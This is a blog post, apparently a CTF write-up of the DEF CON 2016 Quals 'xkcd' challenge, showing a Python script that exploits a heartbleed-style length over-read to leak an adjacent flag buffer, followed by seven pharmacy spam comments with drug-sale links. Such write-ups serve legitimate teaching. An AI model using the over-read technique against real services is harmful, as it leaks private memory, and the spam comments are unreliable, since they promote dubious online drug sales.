Лаборатория DEF CON CTF Quals 2016 - xkcd [1]

, 23 мая 2016


Might want to read that comic as well... 1354

We have a binary and a service with this binary.
After quick inspection I've noticed a reference to heartbleed explanation xkcd comic.

Our input data are stored to globals buffer (in .bss segment) - which is 512 bytes long. 
And right after that buffer a flag_buffer (with data from flag file) is located.

So we could input  512 bytes input data to fully fill globals buffer and make it adjacent to the flag buffer.  
After that input the length (letters count)  512 + length of the flag.
I have empirically determined the length of the flag. Here is the final exploit:

import socket

s = socket.socket()
address = 'xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me'
port = 1354
s.connect((address, port))
payload = 'SERVER, ARE YOU STILL THERE? IF SO, REPLY "%s" (%s LETTERS)\n' % ('A' * 512, 512 + 29)
print payload
data = s.recv(2048)
print data

And successfully got the flag.
The flag is: bl33ding h34rt5 

7 комментариев:

  1. ChasTume
       #   10:54, 22 мая 2017
    Viagra Online Preisvergleich Zoloft 100mg Order Now Online Hydrochlorothiazide Aldactazide In Usa Best Website Viagra Et Decalage Horaire Order Cialis In Usa Clomid Over The Counter Vardenafil Levitra Online Purchase Cialis Canadian Drugstore Secure Ordering Isotretinoin With Free Shipping Direct How To Get Viagra Viagra Cialis Vendita Fluoxetine Where To Purchase Kamagra Tablet Amoxicillin Bioequivalence Online Cash On Delivery Fluoxetine Overseas Generic Zoloft Acheter Du Viagra Pharmacie Forum Cialis Soft Tabs China Viagra Online Acheter Pilule Propecia Revatio Best Generic Viagra Zithromax Online Last Longer Bed Cheap Levitra Is Cephalexin Good Antibiotic For Pneumonia Vt Logistics Singapore Disulfiram Deust Cytotechnologie Delivery Overnight Viagra Brand Zoloft Online Cipro Discount Card Sildalis Buy Cialis Online buy brand name accutane Bentyl Cod Only Indiana Cheap Viagra Overnight Xenical 120 Mg Price Uk Cialis Online India Kamagra Jelly Online Does Zithromax Upset Your Stomach
  2. KelDuhCrory
       #   03:57, 18 июня 2017
    Cephalexin Dosage For Cats Buy Priligy Dapoxetine Best Value Cialis Hydrochlorothiazide Express Delivery Store Brand Viagra Online where can i buy isotretinoin skin health low price mastercard Cephalexin Lawsuit Levitra Pill Achat Kamagra Metz Order Now Bentyl 20mg Best Website Internet Cialis 40mg Combivent Without Prescription Drugs Over The Counter Metformin Amazon buy viagra Lowest Price For 20 Mg Of Levitra Doxycycline For Chlamydia Order Online Ordering Kamagra Online Cialis Einnahmezeitpunkt Kamagra Drop Shipping Levitra Low Cost Il Viagra Scade
  3. ReviaPef
       #   23:22, 10 августа 2017
    buy revia online cheap buy generic revia online buy naltrexone in spain buy generic revia online next day delivery uk http://phartesdomusa.org/ http://phartesdomusa.org/kart1.html naltrexone online pharmacy buy revia online next day delivery purchase revia generic for revia
  4. ReviaPef
       #   02:30, 11 августа 2017
    buy naltrexone uk order generic revia online generic revia (naltrexone) buy revia australia http://phartesdomusa.org/ http://phartesdomusa.org/kart1.html generic name for naltrexone generic naltrexone buy revia without a script generic naltrexone
  5. DarinFrard
       #   12:29, 11 августа 2017
    http://revia.phartesdomusa.org buy revia online cheap
  6. DarinFrard
       #   01:23, 12 августа 2017
    http://revia.phartesdomusa.org buy revia online fast shipping
  7. ReviaPef
       #   23:29, 12 августа 2017
    http://phartesdomusa.org/ where to buy revia

Авторизуйтесь, что бы оставить комментарий